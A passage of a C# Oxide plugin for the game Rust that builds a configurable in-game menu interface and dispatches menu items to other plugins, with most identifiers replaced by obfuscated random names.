C#:
// Все права принадлежат дискорд сообществу https://discord.gg/VgNHPpNrz6
using Oxide.Core.Plugins;
using Oxide.Game.Rust.Cui;
using UnityEngine;
using System.Collections.Generic;
using Newtonsoft.Json;
using Oxide.Core;
using Oxide.Core.Libraries.Covalence;
using Rust;
using System;
using System.Linq;
using ru = Oxide.Game.Rust;
using Newtonsoft.Json.Linq;
namespace Oxide.Plugins {
[Info("MenuSystem", "anfunny", "2.1.3")]
class MenuSystem : RustPlugin {
private string LXOFXVOODPIVFMEGHFNVYHHOQXMLMTAWDLBSATQN = "MS_UI";
private float FadeIn = 0.25f;
public string OEEGKPMPQMSMUDDPAPZJCBKPLSTKLGNPZGJCDHFHZVWHH = "";
[PluginReference]
private Plugin Duel, LoadingImages;
private bool PKGPLQXMYQCQBNZQPDSZEJKLRNISKRRIHTPRFWZKFOSASR(BasePlayer player) => Duel?.Call < bool > ("IsPlayerOnActiveDuel", player) ?? false;
public class MenuItem : SubMenuItem {
[JsonProperty("Пункты подменю", Order = 0)]
public List<SubMenuItem> items;
}
public class SubMenuItem {
[JsonProperty("Заголовок")]
public Dictionary<string, string> JIXDZEQELNUOUSVBEKYDNNTAMSKRJGFDHBILMHGIYVV;
[JsonProperty("Sprite")]
public string IONMMYRLIDWWOXRHUYVEIQHSKKOWDPESRWRXFXFKPTUDFLWP = "assets/icons/community_servers.png";
[JsonProperty("Чат команда для доступа к пункту меню")]
public string chatCommand;
[JsonProperty("Имя плагина, api которого необходимо вызвать")]
public string ZOAZROSHUBCJVHSYEFSFTBWSKPOWDNZNZFEBESAIZQLWDB;
[JsonProperty("Имя функции из плагина для показа GUI")]
public string LBEAGEKXXRHPBZVDGCOKQDRUMEKFCQAPJVDUYMSJOHGKXCY;
[JsonProperty("Передаваемые аргументы (player - передавать не нужно он передается первым параметром)")]
public List<object> HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG = new List<object>();
[JsonProperty("Названия слоев для дестроя GUI")]
public List<string> ENETOQDIKKOBUFVHQRGGWBETKFVIWGWJGBBPMHASRUK = new List<string>();
[JsonProperty("Имя функции из плагина для дополнительной отработки закрытия")]
public string YQPJMZUFWRMCIKJJVVLDNEVSEGVJQOOBRQVTQMVXMQNOO;
}
public class Settings {
[JsonProperty("Название кнопки")]
public string DisplayName;
[JsonProperty("Описание")]
public string Info;
[JsonProperty("Команда")]
public string Command;
}
public Dictionary<ulong, SubMenuItem> GBXRWWIGAUVWFGDKPHDLLSPPTJZOQWQHEFZTLYRSSKPAYTGPT = new Dictionary<ulong, SubMenuItem>();
Configuration config;
class Configuration {
[JsonProperty("Настройки")]
public InterfaceSettings InterfaceSetting = new InterfaceSettings();
internal class InterfaceSettings {
[JsonProperty("Включить логотип?")]
public bool WALMJVVPEAKNASHYUDFRJYNHFVCJQIVGICPMNOZWWCDURJPUJ;
[JsonProperty("Ссылка на логотип (150x150)")]
public string LogoLink;
[JsonProperty("Открывать меню при подключении к серверу")]
public bool NEQSOLEHBUFDUOKHLLFYVJMKLUBYTHLFNCCSPPLITBTYIO;
[JsonProperty("Использовать уведомления в консоль")]
public bool UWEQYXJUERGHUKFOUIAQRMSRWZWEUPOBWPGCOQNIDI;
}
[JsonProperty("Пункты меню")]
public Dictionary<string, MenuItem> BIIRYNNZPIYNHEMTYAEAOCFKFDDZDVSMJOQJOIYRGQZTXBYXC;
[JsonProperty("Версия конфигурации")]
public VersionNumber HISHPVHSMNNJERGLLBUCIJZRDBBCDLDQAYQIXHTVGDFAXMU = new VersionNumber();
public static Configuration GetNewConfig() {
return new Configuration {
InterfaceSetting = new InterfaceSettings() {
WALMJVVPEAKNASHYUDFRJYNHFVCJQIVGICPMNOZWWCDURJPUJ = true, LogoLink = "https://i.imgur.com/2iCpDT7.png", NEQSOLEHBUFDUOKHLLFYVJMKLUBYTHLFNCCSPPLITBTYIO = true, UWEQYXJUERGHUKFOUIAQRMSRWZWEUPOBWPGCOQNIDI = false
}
, BIIRYNNZPIYNHEMTYAEAOCFKFDDZDVSMJOQJOIYRGQZTXBYXC = new Dictionary<string, MenuItem>() {
}
, HISHPVHSMNNJERGLLBUCIJZRDBBCDLDQAYQIXHTVGDFAXMU = new VersionNumber(2, 1, 0)
}
;
}
}
protected override void LoadConfig() {
base.LoadConfig();
try {
config = Config.ReadObject<Configuration>();
if (config?.BIIRYNNZPIYNHEMTYAEAOCFKFDDZDVSMJOQJOIYRGQZTXBYXC == null) LoadDefaultConfig();
/*if (config.HISHPVHSMNNJERGLLBUCIJZRDBBCDLDQAYQIXHTVGDFAXMU < Version) LoadDefaultConfig();*/
config.HISHPVHSMNNJERGLLBUCIJZRDBBCDLDQAYQIXHTVGDFAXMU = Version;
}
catch {
PrintWarning($"Ошибка чтения конфигурации 'oxide/config/{Name}', создаём новую конфигурацию!!");
LoadDefaultConfig();
}
NextTick(SaveConfig);
}
protected override void LoadDefaultConfig() => config = Configuration.GetNewConfig();
protected override void SaveConfig() => Config.WriteObject(config);
void OnServerInitialized() {
JNFQRQLFIKXUPEZCICEYJERJZGIZQBYNXPVQOQMNHM();
YSJHWOKNGZVXYIECGZTIIXHLSEITPQKSAJKAAKUUX();
foreach (var player in BasePlayer.activePlayerList) CuiHelper.DestroyUi(player, LXOFXVOODPIVFMEGHFNVYHHOQXMLMTAWDLBSATQN);
IRKYABALMAZIVAKYOSFQXPPCXOYECVEYLCPPBUDGSE();
BasePlayer.activePlayerList.ToList().ForEach(OnPlayerConnected);
ACGVWPXBAKLQEBMBZBVNZNOTLSXQQPJROWRNKVZULVCLCK();
}
void YSJHWOKNGZVXYIECGZTIIXHLSEITPQKSAJKAAKUUX() {
foreach (MenuItem GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX in config.BIIRYNNZPIYNHEMTYAEAOCFKFDDZDVSMJOQJOIYRGQZTXBYXC.Values) {
if (!string.IsNullOrEmpty(GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.chatCommand)) Interface.Oxide.GetLibrary<ru.Libraries.Command>(null).AddChatCommand(GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.chatCommand, this, "MenuChatCommands");
if (GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.items==null) continue;
foreach (SubMenuItem item2 in GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.items.Where(x => !string.IsNullOrEmpty(x.chatCommand))) {
Interface.Oxide.GetLibrary<ru.Libraries.Command>(null).AddChatCommand(item2.chatCommand, this, "SubMenuChatCommands");
}
}
}
void OnPlayerConnected(BasePlayer player) {
if (config.InterfaceSetting.NEQSOLEHBUFDUOKHLLFYVJMKLUBYTHLFNCCSPPLITBTYIO) {
if (player.IsReceivingSnapshot) {
timer.In(2f, () => OnPlayerConnected(player));
return;
}
KXNZTVTSFOKFWGVAFJFVIUPREQEEAXODMPPULRTXYTFFAHK(player, "menu", false);
return;
}
}
void IRKYABALMAZIVAKYOSFQXPPCXOYECVEYLCPPBUDGSE() {
if (config.InterfaceSetting.WALMJVVPEAKNASHYUDFRJYNHFVCJQIVGICPMNOZWWCDURJPUJ) LoadingImages.Call("AddImage", config.InterfaceSetting.LogoLink, "LogoImage");
}
private void MenuChatCommands(BasePlayer player, string command, string[] HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG)=>KXNZTVTSFOKFWGVAFJFVIUPREQEEAXODMPPULRTXYTFFAHK(player, command);
private void SubMenuChatCommands(BasePlayer player, string command, string[] HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG)=>KXNZTVTSFOKFWGVAFJFVIUPREQEEAXODMPPULRTXYTFFAHK(player, command, true);
[ConsoleCommand("closemenusystem")]
void BXVBXXTRMDPTVZPTVGPSWYGOOMXTBBYLNCZPUHQJC(ConsoleSystem.Arg HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG) {
var player = HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG.Player();
DestroyUI(player);
CuiHelper.DestroyUi(player, LXOFXVOODPIVFMEGHFNVYHHOQXMLMTAWDLBSATQN);
VHRUVQKQHVUDQOSHZGSGQAOOPHWPOJQXFNJTGUHWEZMPXQ(player);
}
public void IHZNNREXWRYOGDRHMKAZPLFEGSZZZOQGPPQYOAZGOD(BasePlayer player) {
DestroyUI(player);
CuiHelper.DestroyUi(player, LXOFXVOODPIVFMEGHFNVYHHOQXMLMTAWDLBSATQN);
VHRUVQKQHVUDQOSHZGSGQAOOPHWPOJQXFNJTGUHWEZMPXQ(player);
}
[ConsoleCommand("menu")]
void HNYWWYNUFJCQWCVHUREYIARYQMTSMLULMGXQHWDBL(ConsoleSystem.Arg HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG) {
var player = HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG.Player();
DestroyUI(player);
ADQTBIXOKASDEBVAVTAIGTMENIHKUJNVQRZYPFTUTZOQH(player, HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG.Args[0]);
}
void KXNZTVTSFOKFWGVAFJFVIUPREQEEAXODMPPULRTXYTFFAHK(BasePlayer player, string XYZFTOFXTQNASEVWPETVOIZBMIPKLHWIKFFHMSRTKQ = "menu", bool DZIRGCCCUSLROZXTLYVMMUEPMZOJWMZLYKVCERIHIEBQZOQHP=false) {
if (PKGPLQXMYQCQBNZQPDSZEJKLRNISKRRIHTPRFWZKFOSASR(player)) {
SendReply(player, "Меню недоступно на дуэли!");
return;
}
int UUWVCJFBLRQTJWXIMHHEOGNUTNMDDEYUHMIDIVKU = 0;
if (DZIRGCCCUSLROZXTLYVMMUEPMZOJWMZLYKVCERIHIEBQZOQHP) {
DestroySubUI(player, XYZFTOFXTQNASEVWPETVOIZBMIPKLHWIKFFHMSRTKQ);
foreach(KeyValuePair<string, MenuItem> item1 in config.BIIRYNNZPIYNHEMTYAEAOCFKFDDZDVSMJOQJOIYRGQZTXBYXC.Where(x=>x.Value.items!=null && x.Value.items.Count>0)) {
for(int i=0;i<item1.Value.items.Count;i++) {
if (item1.Value.items[i].chatCommand==XYZFTOFXTQNASEVWPETVOIZBMIPKLHWIKFFHMSRTKQ) {
UUWVCJFBLRQTJWXIMHHEOGNUTNMDDEYUHMIDIVKU = i;
XYZFTOFXTQNASEVWPETVOIZBMIPKLHWIKFFHMSRTKQ = item1.Key;
}
}
}
}
string LXFKZRXGLPKWQKJPEROMFYCMVXOUYFAEXJBFZVXPJ = lang.GetLanguage(player.UserIDString);
bool CMVVPGMNCBFSXNUSOCCDIFOFYHJDQJTYDBWQQAHHH = LXFKZRXGLPKWQKJPEROMFYCMVXOUYFAEXJBFZVXPJ == "ru";
CuiHelper.DestroyUi(player, LXOFXVOODPIVFMEGHFNVYHHOQXMLMTAWDLBSATQN);
var DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC = new CuiElementContainer();
DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiElement {
Parent = "Overlay", Name = LXOFXVOODPIVFMEGHFNVYHHOQXMLMTAWDLBSATQN, Components = {
new CuiImageComponent {
Color = "0.31 0.32 0.43 1", FadeIn = FadeIn
}
, new CuiRectTransformComponent {
AnchorMin = "0.5 0.5", AnchorMax = "0.5 0.5", OffsetMin = "-500 -285", OffsetMax = "500 285"
}
}
}
);
DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiPanel {
RectTransform = {
AnchorMin = "0 0", AnchorMax = "1 1"
}
, Image = {
Color = "0.1 0.1 0.1 0"
}
}
, LXOFXVOODPIVFMEGHFNVYHHOQXMLMTAWDLBSATQN, "Background");
DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiPanel {
RectTransform = {
AnchorMin = "-100 -100", AnchorMax = "100 100"
}
, Image = {
Color = "0.1 0.1 0.1 0.5", Material = "assets/content/ui/uibackgroundblur-ingamemenu.mat"
}
}
, LXOFXVOODPIVFMEGHFNVYHHOQXMLMTAWDLBSATQN, "BackgroundClose");
DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiButton {
RectTransform = {
AnchorMin = "0 0", AnchorMax = "1 1"
}
, Button = {
Color = "0 0 0 0", Command = "closemenusystem"
}
, Text = {
Text = ""
}
}
, "BackgroundClose");
DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiPanel {
RectTransform = {
AnchorMin = "0 0", AnchorMax = "0 1", OffsetMin = "0 0", OffsetMax = "172 0"
}
, Image = {
Color = "0.18 0.19 0.28 0.75", FadeIn = FadeIn
}
}
, LXOFXVOODPIVFMEGHFNVYHHOQXMLMTAWDLBSATQN, "MenuItemsLeft");
DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiButton {
RectTransform = {
AnchorMin = "1 0", AnchorMax = "1 1", OffsetMin = "-0.7 0", OffsetMax = "0.7 0"
}
, Button = {
Color = "0.32 0.33 0.43 1", FadeIn = FadeIn
}
, Text = {
Text = ""
}
}
, "MenuItemsLeft");
DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiPanel() {
CursorEnabled = true, RectTransform = {
AnchorMin = "0.172 1", AnchorMax = "1 1", OffsetMin = "0 -60", OffsetMax = "0 0"
}
, Image = {
Color = "0.18 0.19 0.28 0.75", FadeIn = FadeIn
}
}
, LXOFXVOODPIVFMEGHFNVYHHOQXMLMTAWDLBSATQN, "MenuItemsUpper");
DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiButton {
RectTransform = {
AnchorMin = "0 0", AnchorMax = "1 0", OffsetMin = "0 -0.7", OffsetMax = "0 0.7"
}
, Button = {
Color = "0.32 0.33 0.43 1", FadeIn = FadeIn
}
, Text = {
Text = ""
}
}
, "MenuItemsUpper");
DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiPanel {
RectTransform = {
AnchorMin = "0 0", AnchorMax = "1 1", OffsetMin = "0 0", OffsetMax = "0 0"
}
, Image = {
Color = "0.20 0.17 0.13 0.7", Sprite = "assets/content/ui/ui.background.transparent.radial.psd"
}
}
, LXOFXVOODPIVFMEGHFNVYHHOQXMLMTAWDLBSATQN, "BackgroundGLITCH");
DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiPanel {
RectTransform = {
AnchorMin = "0 0", AnchorMax = "1 1", OffsetMin = "0 0", OffsetMax = "0 0"
}
, Image = {
Color = "0.23 0.20 0.13 0.3", Sprite = "assets/content/ui/ui.background.transparent.radial.psd"
}
}
, LXOFXVOODPIVFMEGHFNVYHHOQXMLMTAWDLBSATQN, "BackgroundGLITCH");
DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiPanel {
CursorEnabled = true, RectTransform = {
AnchorMin = "0 0", AnchorMax = "1 1", OffsetMax = "0 0"
}
, Image = {
Color = "0 0 0 0.6", Material = "assets/icons/greyout.mat"
}
,
}
, LXOFXVOODPIVFMEGHFNVYHHOQXMLMTAWDLBSATQN, "BackgroundGLITCH");
DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiElement {
Parent = LXOFXVOODPIVFMEGHFNVYHHOQXMLMTAWDLBSATQN, Name = "MainImage", Components = {
new CuiRawImageComponent {
Png = (string) LoadingImages?.Call("GetImage", "MainImage"), Color = "1 1 1 1"
}
, new CuiRectTransformComponent {
AnchorMin = "0 0", AnchorMax = $"1 1"
}
}
}
);
DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiPanel {
RectTransform = {
AnchorMin = "0 0", AnchorMax = "0 1", OffsetMin = "0 0", OffsetMax = "172 0"
}
, Image = {
Color = "0 0 0 0", FadeIn = FadeIn
}
}
, LXOFXVOODPIVFMEGHFNVYHHOQXMLMTAWDLBSATQN, "MenuItemsLeft2");
DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiElement {
Parent = LXOFXVOODPIVFMEGHFNVYHHOQXMLMTAWDLBSATQN, Name = "ExitImage", Components = {
new CuiRawImageComponent {
Png = (string) LoadingImages?.Call("GetImage", "ExitImage"), Color = "1 1 1 1", FadeIn = FadeIn
}
, new CuiRectTransformComponent {
AnchorMin = "0 0", AnchorMax = $"0 0", OffsetMin = "42.5 0", OffsetMax = "132.5 55"
}
}
}
);
DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiLabel {
RectTransform = {
AnchorMin = "0.5 0.5", AnchorMax = $"0.5 0.5", OffsetMin = "-15 -14", OffsetMax = "40 15"
}
, Text = {
Text = CMVVPGMNCBFSXNUSOCCDIFOFYHJDQJTYDBWQQAHHH ? "ВЫХОД" : "EXIT", Color = "0.929 0.882 0.847 0.8", Align = TextAnchor.MiddleCenter, FontSize = 14, Font = "robotocondensed-bold.ttf", FadeIn = FadeIn
}
}
, "ExitImage");
DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiButton {
RectTransform = {
AnchorMin = "0 0", AnchorMax = "1 1"
}
, Button = {
Color = "0 0 0 0", Command = "closemenusystem"
}
, Text = {
Text = ""
}
}
, "ExitImage");
DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiPanel {
RectTransform = {
AnchorMin = "0 0.5", AnchorMax = $"0 0.5", OffsetMin = "10 -195", OffsetMax = "210 195"
}
, Image = {
Color = "0 0 0 0"
}
}
, LXOFXVOODPIVFMEGHFNVYHHOQXMLMTAWDLBSATQN, "Button");
if(config.InterfaceSetting.WALMJVVPEAKNASHYUDFRJYNHFVCJQIVGICPMNOZWWCDURJPUJ) {
DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiButton {
RectTransform = {
AnchorMin = "0.5 1", AnchorMax = $"0.5 1", OffsetMin = "-45 -90", OffsetMax = "45 -10"
}
, Button = {
Color = "0 0 0 0", Command = "chat.say /menu", FadeIn = FadeIn
}
, Text = {
Text = $""
}
}
, "MenuItemsLeft2", "LogoImage");
DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiElement {
Parent = "LogoImage", Components = {
new CuiRawImageComponent {
Png = (string) LoadingImages?.Call("GetImage", "LogoImage"), FadeIn = FadeIn
}
, new CuiRectTransformComponent {
AnchorMin = "0 0", AnchorMax = "1 1"
}
}
}
);
}
CuiHelper.AddUi(player, DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC);
DestroyUI(player);
ADQTBIXOKASDEBVAVTAIGTMENIHKUJNVQRZYPFTUTZOQH(player, XYZFTOFXTQNASEVWPETVOIZBMIPKLHWIKFFHMSRTKQ);
HFODKJULXSKQUPZBVPQSGXCSODBDJPHRZNIBQRMGGJRYYHY(player, XYZFTOFXTQNASEVWPETVOIZBMIPKLHWIKFFHMSRTKQ, UUWVCJFBLRQTJWXIMHHEOGNUTNMDDEYUHMIDIVKU);
}
void VHRUVQKQHVUDQOSHZGSGQAOOPHWPOJQXFNJTGUHWEZMPXQ(BasePlayer player) {
if (!GBXRWWIGAUVWFGDKPHDLLSPPTJZOQWQHEFZTLYRSSKPAYTGPT.ContainsKey(player.userID)) GBXRWWIGAUVWFGDKPHDLLSPPTJZOQWQHEFZTLYRSSKPAYTGPT.Add(player.userID, null);
SubMenuItem LWFZTADYKXMJPRPRWGESASKYTGICNCQNQLVSPRKAKWKXLSAQE = GBXRWWIGAUVWFGDKPHDLLSPPTJZOQWQHEFZTLYRSSKPAYTGPT[player.userID];
if (LWFZTADYKXMJPRPRWGESASKYTGICNCQNQLVSPRKAKWKXLSAQE!=null) {
if (config.InterfaceSetting.UWEQYXJUERGHUKFOUIAQRMSRWZWEUPOBWPGCOQNIDI == true) {
Puts($"LAST ELEMENT IS {LWFZTADYKXMJPRPRWGESASKYTGICNCQNQLVSPRKAKWKXLSAQE.ZOAZROSHUBCJVHSYEFSFTBWSKPOWDNZNZFEBESAIZQLWDB}");
}
if (!string.IsNullOrEmpty(LWFZTADYKXMJPRPRWGESASKYTGICNCQNQLVSPRKAKWKXLSAQE.YQPJMZUFWRMCIKJJVVLDNEVSEGVJQOOBRQVTQMVXMQNOO)) {
if (!string.IsNullOrEmpty(LWFZTADYKXMJPRPRWGESASKYTGICNCQNQLVSPRKAKWKXLSAQE.ZOAZROSHUBCJVHSYEFSFTBWSKPOWDNZNZFEBESAIZQLWDB) && plugins.Find(LWFZTADYKXMJPRPRWGESASKYTGICNCQNQLVSPRKAKWKXLSAQE.ZOAZROSHUBCJVHSYEFSFTBWSKPOWDNZNZFEBESAIZQLWDB)) {
if (config.InterfaceSetting.UWEQYXJUERGHUKFOUIAQRMSRWZWEUPOBWPGCOQNIDI == true) Puts("CALL CLOSE FUNCTION");
plugins.Find(LWFZTADYKXMJPRPRWGESASKYTGICNCQNQLVSPRKAKWKXLSAQE.ZOAZROSHUBCJVHSYEFSFTBWSKPOWDNZNZFEBESAIZQLWDB).Call(LWFZTADYKXMJPRPRWGESASKYTGICNCQNQLVSPRKAKWKXLSAQE.YQPJMZUFWRMCIKJJVVLDNEVSEGVJQOOBRQVTQMVXMQNOO, player);
}
}
}
}
bool KAXFUODAUSDENUVBYFWXDFZBFYVCRNYRZAMORDWICN(SubMenuItem GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX, BasePlayer player) {
string ZOAZROSHUBCJVHSYEFSFTBWSKPOWDNZNZFEBESAIZQLWDB="";
VHRUVQKQHVUDQOSHZGSGQAOOPHWPOJQXFNJTGUHWEZMPXQ(player);
if (GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX==null || player == null || string.IsNullOrEmpty(GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.LBEAGEKXXRHPBZVDGCOKQDRUMEKFCQAPJVDUYMSJOHGKXCY)) return false;
if (GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.LBEAGEKXXRHPBZVDGCOKQDRUMEKFCQAPJVDUYMSJOHGKXCY == "close") {
IHZNNREXWRYOGDRHMKAZPLFEGSZZZOQGPPQYOAZGOD(player);
return false;
}
ZOAZROSHUBCJVHSYEFSFTBWSKPOWDNZNZFEBESAIZQLWDB = "MenuSystem";
if (!string.IsNullOrEmpty(GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.ZOAZROSHUBCJVHSYEFSFTBWSKPOWDNZNZFEBESAIZQLWDB)) ZOAZROSHUBCJVHSYEFSFTBWSKPOWDNZNZFEBESAIZQLWDB = GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.ZOAZROSHUBCJVHSYEFSFTBWSKPOWDNZNZFEBESAIZQLWDB;
if (!plugins.Find(ZOAZROSHUBCJVHSYEFSFTBWSKPOWDNZNZFEBESAIZQLWDB)) {
PrintWarning($"Plugin not found: {ZOAZROSHUBCJVHSYEFSFTBWSKPOWDNZNZFEBESAIZQLWDB}");
return false;
}
var Plugin = plugins.Find(ZOAZROSHUBCJVHSYEFSFTBWSKPOWDNZNZFEBESAIZQLWDB);
if (Plugin==null) return false;
if (GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG==null || GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG.Count==0) {
Plugin.Call(GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.LBEAGEKXXRHPBZVDGCOKQDRUMEKFCQAPJVDUYMSJOHGKXCY, player);
if (config.InterfaceSetting.UWEQYXJUERGHUKFOUIAQRMSRWZWEUPOBWPGCOQNIDI == true) {
Puts($"{ZOAZROSHUBCJVHSYEFSFTBWSKPOWDNZNZFEBESAIZQLWDB}.Call({GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.LBEAGEKXXRHPBZVDGCOKQDRUMEKFCQAPJVDUYMSJOHGKXCY}, {player});");
}
}
switch(GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG.Count) {
case 1 : Plugin.Call(GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.LBEAGEKXXRHPBZVDGCOKQDRUMEKFCQAPJVDUYMSJOHGKXCY, player, GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG[0]);
break;
case 2 : Plugin.Call(GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.LBEAGEKXXRHPBZVDGCOKQDRUMEKFCQAPJVDUYMSJOHGKXCY, player, GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG[0], GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG[1]);
break;
case 3 : Plugin.Call(GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.LBEAGEKXXRHPBZVDGCOKQDRUMEKFCQAPJVDUYMSJOHGKXCY, player, GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG[0], GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG[1], GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG[2]);
break;
case 4 : Plugin.Call(GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.LBEAGEKXXRHPBZVDGCOKQDRUMEKFCQAPJVDUYMSJOHGKXCY, player, GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG[0], GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG[1], GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG[2], GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG[3]);
break;
}
GBXRWWIGAUVWFGDKPHDLLSPPTJZOQWQHEFZTLYRSSKPAYTGPT[player.userID] = GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX;
return true;
}
void ADQTBIXOKASDEBVAVTAIGTMENIHKUJNVQRZYPFTUTZOQH(BasePlayer player, string XYZFTOFXTQNASEVWPETVOIZBMIPKLHWIKFFHMSRTKQ="") {
CuiHelper.DestroyUi(player, "Command");
CuiHelper.DestroyUi(player, "Info");
var DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC = new CuiElementContainer();
DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiPanel {
RectTransform = {
AnchorMin = "0 0.13", AnchorMax = "1 1", OffsetMax = "0 0"
}
, Image = {
Color = "0 0 0 0"
}
}
, "Button", "Command");
string LXFKZRXGLPKWQKJPEROMFYCMVXOUYFAEXJBFZVXPJ = lang.GetLanguage(player.UserIDString);
bool CMVVPGMNCBFSXNUSOCCDIFOFYHJDQJTYDBWQQAHHH = LXFKZRXGLPKWQKJPEROMFYCMVXOUYFAEXJBFZVXPJ == "ru";
string YLEKWTMHFMSAKHHYTEVWBEWEIEHMNAGSYKEFJGOCG = "";
